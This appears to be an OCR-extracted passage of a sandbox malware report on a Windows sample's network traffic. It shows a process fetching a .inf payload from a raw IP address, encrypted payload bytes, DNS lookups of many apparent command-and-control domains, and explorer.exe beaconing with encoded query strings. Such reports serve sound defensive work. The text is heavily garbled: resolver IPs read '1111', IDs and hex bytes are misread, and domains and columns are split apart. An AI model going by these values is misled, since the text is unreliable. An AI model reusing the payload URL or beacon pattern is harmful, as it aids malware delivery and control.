Aug 8, 2022 17:42:40.437412977 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437450886 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437468052 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437495947 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437509060 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437547922 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437623024 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437659979 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437668085 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437716007 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437767982 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437793016 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437819958 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437839031 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437860966 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437875032 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437928915 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.437961102 CEST 49750 80 192.168.11.20 101.99.94.169
Aug 8, 2022 17:42:40.437979937 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.438035011 CEST 80 49750 101.99.94.169 192.168.11.20
Aug 8, 2022 17:42:40.438060045 CEST 49750 80 192.168.11.20 101.99.94.169
UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 17:44:17.746109009 CEST 58899 53 192.168.11.20 1.1.1.1

Aug 8, 2022 17:44:17.761447906 CEST 53 58899 ool 192.168.11.20
Aug 8, 2022 17:44:22.913892984 CEST 55690 53 192.168.11.20 1111

Aug 8, 2022 17:44:23.234519958 CEST 53 55690 Aol 192.168.11.20
Aug 8, 2022 17:44:28.881545067 CEST 60005 53 192.168.11.20 1111

Aug 8, 2022 17:44:28.892247915 CEST 53 60005 ool 192.168.11.20
Aug 8, 2022 17:44:33.895467997 CEST 51950 53 192.168.11.20 1111

Aug 8, 2022 17:44:34.724453926 CEST 53 51950 dlodldlodl 192.168.11.20
Aug 8, 2022 17:44:51.938716888 CEST 62125 53 192.168.11.20 1111

Aug 8, 2022 17:44:52.260291100 CEST 53 62125 ool 192.168.11.20
Aug 8, 2022 17:44:57.969173908 CEST 51429 53 192.168.11.20 1111

Aug 8, 2022 17:44:58.658838034 CEST 53 51429 1111 192.168.11.20
Aug 8, 2022 17:45:04.170089960 CEST 51258 53 192.168.11.20 1111

Aug 8, 2022 17:45:04.581562996 CEST 53 51258 1111 192.168.11.20
Aug 8, 2022 17:45:09.591989040 CEST 56298 53 192.168.11.20 1111
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Timestamp Source Port Dest Port Source IP Dest IP

Aug 8, 2022 17:45:09.644402981 CEST 53 56298 1111 192.168.11.20

Aug 8, 2022 17:45:14.778286934 CEST 54340 53 192.168.11.20 1111

Aug 8, 2022 17:45:14.843234062 CEST 53 54340 1111 192.168.11.20

Aug 8, 2022 17:45:20.010869026 CEST 55529 53 192.168.11.20 1111

Aug 8, 2022 17:45:20.666584969 CEST 53 55529 1111 192.168.11.20

Aug 8, 2022 17:45:25.681338072 CEST 60548 53 192.168.11.20 1111

Aug 8, 2022 17:45:25.845436096 CEST 53 60548 1111 192.168.11.20

Aug 8, 2022 17:45:30.899120092 CEST 51934 53 192.168.11.20 1111

Aug 8, 2022 17:45:30.913022041 CEST 53 51934 1111 192.168.11.20

Aug 8, 2022 17:45:36.116473913 CEST 55349 53 192.168.11.20 1111

Aug 8, 2022 17:45:36.133956909 CEST 53 55349 1111 192.168.11.20

Aug 8, 2022 17:45:41.349361897 CEST 58653 53 192.168.11.20 1111

Aug 8, 2022 17:45:41.394237995 CEST 53 58653 1111 192.168.11.20

Aug 8, 2022 17:45:46.493351936 CEST 60163 53 192.168.11.20 1111

Aug 8, 2022 17:45:46.510385036 CEST 53 60163 1111 192.168.11.20

Aug 8, 2022 17:45:56.658588886 CEST 55013 53 192.168.11.20 1111

Aug 8, 2022 17:45:57.673572063 CEST 55013 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:45:58.032208920 CEST 53 55013 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:03.422593117 CEST 65360 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:03.443641901 CEST 53 65360 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:08.563287020 CEST 61265 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:08.593173981 CEST 53 61265 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:13.764559031 CEST 64893 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:13.929510117 CEST 53 64893 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:33.807015896 CEST 63880 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:33.830048084 CEST 53 63880 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:38.836786985 CEST 49587 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:39.445497036 CEST 53 49587 9.9.9.9 192.168.11.20

Aug 8, 2022 17:46:55.349060059 CEST 59921 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:46:55.814853907 CEST 53 59921 9.9.9.9 192.168.11.20

Aug 8, 2022 17:47:43.682466030 CEST 51526 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:47:43.695727110 CEST 53 51526 9.9.9.9 192.168.11.20

Aug 8, 2022 17:47:48.775223970 CEST 54377 53 192.168.11.20 9.9.9.9

Aug 8, 2022 17:47:49.790326118 CEST 54377 53 192.168.11.20 1111

Aug 8, 2022 17:47:50.107685089 CEST 53 54377 11.1.1 192.168.11.20

Aug 8, 2022 17:47:50.778866053 CEST 53 54377 9.9.9.9 192.168.11.20

Aug 8, 2022 17:48:13.175977945 CEST 51034 53 192.168.11.20 1.1.1.1

Aug 8, 2022 17:48:14.005726099 CEST 53 51034 1.1.1.1 192.168.11.20

Aug 8, 2022 17:48:19.081125975 CEST 64635 53 192.168.11.20 1.1.1.1

Aug 8, 2022 17:48:19.116620064 CEST 53 64635 1.1.1.1 192.168.11.20

Aug 8, 2022 17:48:34.646478891 CEST 61491 53 192.168.11.20 1.1.1.1

Aug 8, 2022 17:48:35.025753975 CEST 53 61491 1.1.1.1 192.168.11.20

Aug 8, 2022 17:49:16.597461939 CEST 53933 53 192.168.11.20 1111

Aug 8, 2022 17:49:16.657071114 CEST 53 53933 1.1.1.1 192.168.11.20

Aug 8, 2022 17:49:21.783946037 CEST 59730 53 192.168.11.20 1.1.1.1

Aug 8, 2022 17:49:22.144952059 CEST 53 59730 1111 192.168.11.20

Aug 8, 2022 17:49:27.392524004 CEST 57288 53 192.168.11.20 1.1.1.1

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 8, 2022 17:44:17.746109009 CEST 192.168.11.20 1.1.1.1 Oxf7el Standard query  www.maximi A (IP address) IN (0x0001)
(0) lianvonah.com

Aug 8, 2022 17:44:22.913892984 CEST 192.168.11.20 11.1.1 0xd3d6 Standard query  www.emitac A (IP address) IN (0x0001)
(0) ademy.com

Aug 8, 2022 17:44:28.881545067 CEST 192.168.11.20 1.1.1.1 Oxace2 Standard query  www.laforet.info A (IP address) IN (0x0001)
0

Aug 8, 2022 17:44:33.895467997 CEST 192.168.11.20 11.1.1 Oxed5e Standard query  www.linuxi A (IP address) IN (0x0001)
(0) zes.com

Aug 8, 2022 17:44:51.938716888 CEST 192.168.11.20 11.1.1 0xdf84 Standard query  www.muzicl A (IP address) IN (0x0001)
(0) ips.com
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Aug 8, 2022 17:44:57.969173908 CEST 192.168.11.20 1111 0x7d79 Standard query  www.ghanes A (IP address) IN (0x0001)
(0) a.xyz

Aug 8, 2022 17:45:04.170089960 CEST 192.168.11.20 1111 0xf571 Standard query  www.aia-art.com A (IP address) IN (0x0001)
0

Aug 8, 2022 17:45:09.591989040 CEST 192.168.11.20 1111 0x7077 Standard query  www.worldb A (IP address) IN (0x0001)
(0) rands.wine

Aug 8, 2022 17:45:14.778286934 CEST 192.168.11.20 1111 0xcc98 Standard query  www.progra A (IP address) IN (0x0001)
(0) mmedsoluti

on.com

Aug 8, 2022 17:45:20.010869026 CEST 192.168.11.20 1111 0x8db4 Standard query  www.5111.site A (IP address) IN (0x0001)
(0)

Aug 8, 2022 17:45:25.681338072 CEST 192.168.11.20 1111 0x972 Standard query  www.secure A (IP address) IN (0x0001)
(0) artist.com

Aug 8, 2022 17:45:30.899120092 CEST 192.168.11.20 1111 0xa9db Standard query  www.ymsb.info A (IP address) IN (0x0001)
(0)

Aug 8, 2022 17:45:36.116473913 CEST 192.168.11.20 1111 0xf200 Standard query  www.coolar A (IP address) IN (0x0001)
(0) ts.xyz

Aug 8, 2022 17:45:41.349361897 CEST 192.168.11.20 1111 0xd32 Standard query  www.ap-ren A (IP address) IN (0x0001)
(0) der.com

Aug 8, 2022 17:45:46.493351936 CEST 192.168.11.20 1111 0x39f9 Standard query  www.receiv A (IP address) IN (0x0001)
(0) eprim.online

Aug 8, 2022 17:45:56.658588886 CEST 192.168.11.20 1111 Oxdf21 Standard query  www.itsfin A (IP address) IN (0x0001)
(0) dia.online

Aug 8, 2022 17:45:57.673572063 CEST 192.168.11.20 9.9.9.9 Ooxdf21 Standard query  www.itsfin A (IP address) IN (0x0001)
(0) dia.online

Aug 8, 2022 17:46:03.422593117 CEST 192.168.11.20 9.9.9.9 0xfa63 Standard query  www.svgjp.com A (IP address) IN (0x0001)
)

Aug 8, 2022 17:46:08.563287020 CEST 192.168.11.20 9.9.9.9 0x32a3 Standard query  www.147bro A (IP address) IN (0x0001)
(0) nzeway.com

Aug 8, 2022 17:46:13.764559031 CEST 192.168.11.20 9.9.9.9 0x9594 Standard query  www.edico- A (IP address) IN (0x0001)
(0) al.com

Aug 8, 2022 17:46:33.807015896 CEST 192.168.11.20 9.9.9.9 OxaeOb Standard query  www.et-sec A (IP address) IN (0x0001)
0) ure.info

Aug 8, 2022 17:46:38.836786985 CEST 192.168.11.20 9.9.9.9 0x91f7 Standard query  www.wwwf2d A (IP address) IN (0x0001)
(0) ni.com

Aug 8, 2022 17:46:55.349060059 CEST 192.168.11.20 9.9.9.9 0x52c5 Standard query  www.5111.site A (IP address) IN (0x0001)
(©)

Aug 8, 2022 17:47:43.682466030 CEST 192.168.11.20 9.9.9.9 Oxacd6 Standard query  www.blueon A (IP address) IN (0x0001)
0) b.com

Aug 8, 2022 17:47:48.775223970 CEST 192.168.11.20 9.9.9.9 Oxecl4 Standard query  www.mojawa A (IP address) IN (0x0001)
0) po.com

Aug 8, 2022 17:47:49.790326118 CEST 192.168.11.20  1.1.1.1 Oxecl4 Standard query  www.mojawa A (IP address)  IN (0x0001)
0) po.com

Aug 8, 2022 17:48:13.175977945 CEST 192.168.11.20 1111 0x4653 Standard query  www.hiking A (IP address) IN (0x0001)
0) taibah.com

Aug 8, 2022 17:48:19.081125975 CEST 192.168.11.20 11.1.1 0x79d Standard query  www.xc8b49 A (IP address) IN (0x0001)
0) c6mnmdits.xyz

Aug 8, 2022 17:48:34.646478891 CEST 192.168.11.20 1111 0x795b Standard query  www.5111.site A (IP address) IN (0x0001)
)

Aug 8, 2022 17:49:16.597461939 CEST 192.168.11.20 11.1.1 0x2733 Standard query  www.vtubbe A (IP address) IN (0x0001)
0) r.com

Aug 8, 2022 17:49:21.783946037 CEST 192.168.11.20 11.1.1 0xf276 Standard query  www.produc A (IP address) IN (0x0001)
0) tislandsize.xyz

Aug 8, 2022 17:49:27.392524004 CEST 192.168.11.20 1111 0xc8c3 Standard query  www.5111.site A (IP address) IN (0x0001)
O

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 8, 2022 1111 192.168.11.20 0xf7el No error (0) www.maximi 217.160.0.178 A (IP address) IN

17:44:17.761447906 CEST lianvonah.com (0x0001)

Aug 8, 2022 1111 192.168.11.20 0xd3d6 No error (0) www.emitac 154.95.160.71 A (IP address) IN

17:44:23.234519958 CEST ademy.com (0x0001)

Aug 8, 2022 1.1.1.1 192.168.11.20 Oxace2 Name error (3) www.laforet.info  none none A (IP address) IN

17:44:28.892247915 CEST (0x0001)

Aug 8, 2022 1111 192.168.11.20 Oxed5e No error (0) www.linuxi 66.29.155.228 A (IP address) IN

17:44:34.724453926 CEST zes.com (0x0001)

Aug 8, 2022 1.1.1.1 192.168.11.20 0xdf84 No error (0) www.muzicl 154.210.161.216 A (IP address) IN

17:44:52.260291100 CEST ips.com (0x0001)
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Timestamp

Aug 8, 2022
17:44:58.658838034 CEST

Aug 8, 2022
17:44:58.658838034 CEST

Aug 8, 2022
17:45:09.644402981 CEST

Aug 8, 2022
17:45:14.843234062 CEST

Aug 8, 2022
17:45:14.843234062 CEST

Aug 8, 2022
17:45:20.666584969 CEST

Aug 8, 2022
17:45:25.845436096 CEST

Aug 8, 2022
17:45:25.845436096 CEST

Aug 8, 2022
17:45:30.913022041 CEST

Aug 8, 2022
17:45:36.133956909 CEST

Aug 8, 2022
17:45:36.133956909 CEST

Aug 8, 2022
17:45:41.394237995 CEST

Aug 8, 2022
17:45:46.510385036 CEST

Aug 8, 2022
17:45:46.510385036 CEST

Aug 8, 2022
17:45:58.032208920 CEST

Aug 8, 2022
17:45:58.032208920 CEST

Aug 8, 2022
17:46:03.443641901 CEST

Aug 8, 2022
17:46:03.443641901 CEST

Aug 8, 2022
17:46:03.443641901 CEST

Aug 8, 2022
17:46:03.443641901 CEST

Aug 8, 2022
17:46:03.443641901 CEST

Aug 8, 2022
17:46:08.593173981 CEST

Aug 8, 2022
17:46:08.593173981 CEST

Aug 8, 2022
17:46:13.929510117 CEST

Aug 8, 2022
17:46:33.830048084 CEST

Aug 8, 2022
17:46:39.445497036 CEST

Aug 8, 2022
17:46:55.814853907 CEST

Aug 8, 2022
17:47:43.695727110 CEST

Aug 8, 2022
17:47:50.107685089 CEST

Aug 8, 2022
17:47:50.778866053 CEST

Aug 8, 2022
17:48:14.005726099 CEST

Aug 8, 2022
17:48:14.005726099 CEST

Source IP

1111

1111

1111

1111

STITINII

1111

STITINI I

1111

SRR

1111

A A

1111

Aol

1111

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

A3

9.9.9.9

A3

1111
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Dest IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x7d79

0x7d79

0x7077

Oxcc98

0xcc98

0x8db4

0x972

0x972

0xa9db

0xf200

0xf200

0xd32

0x39f9

0x39f9

Oxdf21

Oxdf21

0xfa63

0xfa63

0xfa63

Oxfa63

Oxfa63

0x32a3

0x32a3

0x9594

OxaeOb

0x91f7

0x52¢c5

Oxacd6

Oxecl4

Oxecl4

0x4653

0x4653

Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.ghanes
a.xyz

ghanesa.xyz

www.worldb
rands.wine

WWW.progra
mmedsoluti
on.com

ghs.google
hosted.com

www.5111.site

Www.secure
artist.com

Www.secure
artist.com

www.ymsb.info

www.coolar
ts.xyz

www.coolar
ts.xyz

www.ap-ren
der.com

www.receiv
eprim.online

www.receiv
eprim.online

www.itsfin
dia.online

itsfindia.online

WWW.Svgjp.com

gcdnO.wixd
ns.net

balancer.w
ixdns.net

5f36b111-b
alancer.wi
xdns.net

td-balancer-199-
15-163-148.wix
dns.net

www.147bro
nzeway.com

www.147bro
nzeway.com

www.edico-
al.com

www.et-sec
ure.info

www.wwwi2d
ni.com

www.5111.site

www.blueon
b.com

www.mojawa
po.com

www.mojawa
po.com
www.hiking
taibah.com

hikingtaibah.com

CName

ghanesa.xyz

ghs.googlehosted.
com

none

itsfindia.online

gcdnO.wixdns.net

balancer.wixdns.n
et

5f36b111-
balancer.wixdns.n
et

td-balancer-199-
15-163-
148.wixdns.net

none

none

none

hikingtaibah.com

Address

103.150.61.226

81.95.96.29

142.251.39.115

none

104.21.39.116

172.67.145.43

130.211.17.207

13.248.216.40

76.223.65.111

89.46.108.25

188.114.96.3

188.114.97.3

217.21.87.131

199.15.163.148

104.21.51.250

172.67.192.130

none

none

154.80.183.133

none

185.27.134.153

154.23.227.120

154.23.227.120

145.14.153.89

Type

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME

(Canonical

name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
IN

(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Aug 8, 2022 1111 192.168.11.20 0x79d No error (0) www.xc8b49 xc8b49c6mnmdts. CNAME IN
17:48:19.116620064 CEST cémnmdts.xyz Xyz (Canonical (0x0001)
name)
Aug 8, 2022 1111 192.168.11.20 0x79d No error (0) xc8b49c6mn 216.18.208.202 A (IP address) IN
17:48:19.116620064 CEST mdts.xyz (0x0001)
Aug 8, 2022 1111 192.168.11.20 0x795b Name error (3) www.5111.site none none A (IP address) IN
17:48:35.025753975 CEST (0x0001)
Aug 8, 2022 1111 192.168.11.20 0x2733 No error (0) www.vtubbe ghs.googlehosted. CNAME IN
17:49:16.657071114 CEST r.com com (Canonical (0x0001)
name)
Aug 8, 2022 1111 192.168.11.20 0x2733 No error (0) ghs.google 142.250.185.179 A (IP address) IN
17:49:16.657071114 CEST hosted.com (0x0001)
Aug 8, 2022 1111 192.168.11.20 0xf276 No error (0) www.produc pltraffic39.com CNAME IN
17:49:22.144952059 CEST tislandsize.xyz (Canonical (0x0001)
name)
Aug 8, 2022 1111 192.168.11.20 0xf276 No error (0) pltraffic39.com 72.52.179.174 A (IP address) IN
17:49:22.144952059 CEST (0x0001)

HTTP Request Dependency Graph
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e 101.99.94.169

e www.maximilianvonah.com

* www.emitacademy.com

e www.linuxizes.com

* www.muziclips.com

e www.ghanesa.xyz

e www.worldbrands.wine

e www.programmedsolution.com

e www.secureartist.com

e www.ymsb.info

e www.coolarts.xyz

e www.ap-render.com

e www.receiveprim.online

o www.itsfindia.online

° Www.svgjp.com

e www.147bronzeway.com

o www.wwwi2dni.com

e www.blueonb.com

* Www.mojawapo.com

e www.hikingtaibah.com

* www.xc8b49c6mnmdts.xyz

e www.vtubber.com

HTTP Packets

Session ID Source IP

0 192.168.11.20
. kBytes

Timestamp transferred

Aug 8, 2022 237

17:42:40.217978001

CEST

Copyright Joe Security LLC 2022

Source Port

49750

Direction

ouT

Destination IP Destination Port Process
101.99.94.169 80 C:\Program Files (x86)\Internet Explorer\ielowutil.exe
Data

GET /WHvBvQsluwdD218.inf HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 101.99.94.169

Cache-Control: no-cache
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kBytes

Direction
transferred

Timestamp
Aug 8, 2022 238 IN
17:42:40.339495897

CEST

Session ID Source IP Source Port

1 192.168.11.20 49754

kBytes

Direction
transferred

Timestamp
Aug 8, 2022 443 ouT
17:44:17.775826931

CEST

Aug 8, 2022 444 IN
17:44:17.897661924
CEST

217.160.0.178 80

Data

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Sun, 07 Aug 2022 21:13:45 GMT

Accept-Ranges: bytes

ETag: "b37b6694a2aad81:0"

Server: Microsoft-11S/8.5

Date: Mon, 08 Aug 2022 07:42:39 GMT

Content-Length: 175168

Data Raw: d6 85 6¢c af 8d 6¢ c4 65 77 f1 b2 ec 37 9f 69 15 89 76 d4 9d b4 82 52 {3 47 44 89 be €8 99 65 10 4f ab e8 ac bl
fb b3 f7 ae a5 49 d4 6¢ 23 6d 0d 33 d2 57 4b e3 34 77 64 ea 91 8d 66 fa a7 8¢ 75 33 e0 19 93 ac f0 66 82 87 f2 72 3b 4d
01 0d Oc 4c €9 b6 83 00 36 d3 8b 1e a9 10 f2 11 c8 6a a6 da 38 91 08 c¢3 57 76 02 7f 7a €9 8f fc 14 0 f9 2b f2 5e 07 87
82 5f 7b b9 16 ca 25 f1 12 37 f7 49 87 0d 52 6f 9f 90 af a9 20 3f cd 6b 25 69 4b ea 79 3b a8 38 b0 d4 d2 bc 13 ff 8b 62 1b
74 4fea b2 a8 07 11 2b 24 d8 11 ce 13 b1 13 4e 68 8f 27 5¢ 19 41 04 65 72 a6 fd ae b3 84 88 72 df ce 8e e8 6f 94 09 db
92398311 a9 b0 5f 82 b1 50 71 7e 34 c1 a2 02 c6 fc ba 8d 76 Oa 2c 88 b6 ab 84 18 37 bd 08 d2 28 78 d6 d2 18 1c ee
b0 b2 76 27 63 0a 64 9a ef ca 0d 58 ec 27 8e d7 18 22 46 57 5¢c 9b 33 3a 58 82 4c cd eb 9b 88 cc 80 fd 5d 1c 1d 80 1f 77
9b 71 c7 Ob fd a8 b5 ea c3 0a c6 2f 77 67 85 74 2b fd 21 5 58 8b 11 3d 18 2d a0 18 35 f4 47 19 48 e5 bb 19 69 06 81 35
76 1f 1d 06 97 d2 22 8a be Oc €0 15 9b 6¢ 25 75 44 29 d9 56 93 fd 2c 40 ac 52 53 40 Oe c7 c7 df b4 b3 al 26 4b ef d6 e5
8a 43 b7 32 bd 24 05 03 el 28 68 cO bd 8b 1e 91 52 88 d9 50 d8 79 f8 7d 36 4b 81 80 d4 dO bd e8 al 7b 6c ab 7e b4 7c
€2d9 46 e4 46 c4 44 b3 4a 09 06 36 60 b2 b5 ee f9 fc 4c ef 45 ea Of 95 89 59 31 7a 6b 3a 7f 9d 59 Oe de 83 02 65 2a 65
5e ca4c d3a9 bl bc d3 e3 e6 60 be c5 ec 63 a2 9d 52 85 7b b2 al 42 ce 24 c5 32 54 37 2f 18 66 a0 46 5b c0 e4 e7 c8 be
0d 83 02 7d b7 dc a4 61 07 d1 7b dO 5¢c 5e af Ob 70 e5 d3 8e 28 a6 3f da 3c 08 f4 e3 d6 dc e4 Oe dd al d7 46 ee 6e 18 dd
a7 9f 97 ae ff 79 37 1b c0 3e 17 cb c4 6d f6 dO 26 7f ba b8 3a 5e 0f b7 6b Ob 80 d2 8b c7 31 51 bb b4 04 cd Oa de d3 aa
1f 1a ed Oe 91 4d ef ad a0 c1 3b 28 8e 5 49 03 43 82 b9 e0 96 50 34 1a 15 14 9b ff 7a 3f e2 bb 31 29 a8 53 1a 90 36 83
34 6f b8 b6 84 69 95 77 cc 3e e5 b3 97 bf 67 69 e2 82 79 7d 34 4c 64 d6 92 df ec Ob 34 40 4e f1 7f 4b b4 1a 30 aa c8 3d
5d 7a 5b el 66 dc e3 a6 47 ff 62 2e e3 4d 63 16 97 ad Oc 9a fe 68 22 7 fc e2 Of fd 32 d0 44 7e b1 56 a4 7e 28 04 58 ba
eb a0 74 08 77 da e2 82 88 a9 9c 7f 95 eb 6a 61 a6 3d fc 7b 14 93 Oe e0 e8 82 bc 77 ac ef 9b 2d 67 24 39 5d 94 d1 06 89
al 2e 6a 35 6f e0 44 a3 3f b4 26 24 a6 €0 e cf c4 3f e9 3d cc 8a c6 80 el d6 cO fe 21 81 9f 25 79 ed bf 90 75 dc c3 5¢ b5
372c 99 1la4c 04 61 b1 16 13 bc ac 3d 7b 1e bf af 1b 91 c9 e9 13 1c f8 aa 16 70 €3 d2 b4 68 cb 75 68 e8 f7 33 be ed ef
e9 e6 f5 ¢9 0d 32 dc bd 83 b9 81 cf 0d 6d 15 90 0d db c0 €7 74 aa 31 2b 72 ¢9 73 73 39 be d1 09 9f a3 a8 27 93 92 f4 98
d8 10 d5 3f c3 25 aa 92 fc 3f 3d cd c8 64 4b e5 c2 37 cb b8 29 57 d1 94 ac d4 c5 48 65 8b 96 3b d5 7a ab 23 f7 00 7e ba
5c c1 44 f0 66 82 87 aa f1 d3 44 8a c5 8f 8¢ d5 3d 83 03 f7 50 4b 36 aa 18 0d f0 58 6a a6 da 38 91 08 c3 57 76 02 7f 7a
e9 8f fc 14 e0 f9 2b 2 5e 07 87 82 5f 7b b9 16 ca 25 49 12 37 {7 47 98 b7 5¢ 6f 2b 99 62 88 98 3e 81 a6 04 3d 23 83 0a
1b d8 4a df b3 a0 dd 7e df e8 03 75 1a 20 9e 92 ca 62 31 59 51 b6 31 a7 7d 91 57 01 3b af 4a 33 7d 24 2a 68 7f ac d9 ae
b3 84 88 72 df ce 93 9e c7 b2 50 cc 54 4c da 06 6f ¢5 06 95 77 25 33 f4 59 b4 b5 15 00 89 f8 07 2e 7f 76 9f 70 de c6 92
6¢ c8 50 c5 ee 0d 84 bb 7b 74 b7 a7 74 03 27 63 Oa 64 9a ef ca

Data Ascii: llew7ivRGDeOIll#m3WK4wdfu3fr;ML6j8Wvz+" {%7IRo ?k%iKy;8btO+$Nh"\Aerro9_Pg~4v,7(xv'cdX™FW
\3:XL]wg/wgt+!X=-5GHi5v"I%uD)V,@RS@&KC2$(hRPy}6K{I~|[FFDJ6 LEY 1zk:Ye*e L cR{B$2T7/fF[}a{\"p(?<Fny7>m&
Ak1QM;(ICP4z21)S640iw>giy}ALdA@NKO=]z[fGb.Mch"2D~V~(Xtwja={w-g$9].j50D?&$?=1%yu\7,La={phuh32mt1+rss9'?
%?=dK7)WHe;z#~\DfD=PK6Xj8Wvz+"_{%I7G\o+b>=#J~u b1YQ1}W;J3}$*hrPTLow%3Y.vplP{tt'cd

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?m4bd=csUEPuyljQauctU/Z8NbCIms5fC6XWDY Eeq9yClh8wbkyOEJAIgn2MT949GIS8zP8lIU0&M8s=w
86DJIpgx5FYIUfRP HTTP/1.1

Host: www.maximilianvonah.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 308 Permanent Redirect

Content-Type: text/html; charset=iso-8859-1

Content-Length: 337

Connection: close

Date: Mon, 08 Aug 2022 15:44:17 GMT

Server: Apache

Location: https://eisberg-seminare.de/?m4bd=csUEPuyljQauctU/Z8NbCIms5fC6XWDYEeq9yClh8wbkyOEJAIgn2MT9
49GIS8zP8IU0&M8s=w86DJIpgx5FYIUfRP

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e Oa 3¢ 74 69 74 6¢ 65 3e 33 30 38 20 50
65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa
3c 68 31 3e 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75
6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 69 73 62 65 72 67
2d 73 65 6d 69 6e 61 72 65 2e 64 65 2f 3f 6d 34 62 64 3d 63 73 55 45 50 75 79 6¢ 6a 51 61 75 63 74 55 2f 5a 38 4e 62 4
339 6d 73 35 66 43 36 58 57 44 59 45 65 71 39 79 43 49 68 38 77 62 6b 79 30 45 4a 41 6¢ 71 6e 32 4d 54 39 34 39 47
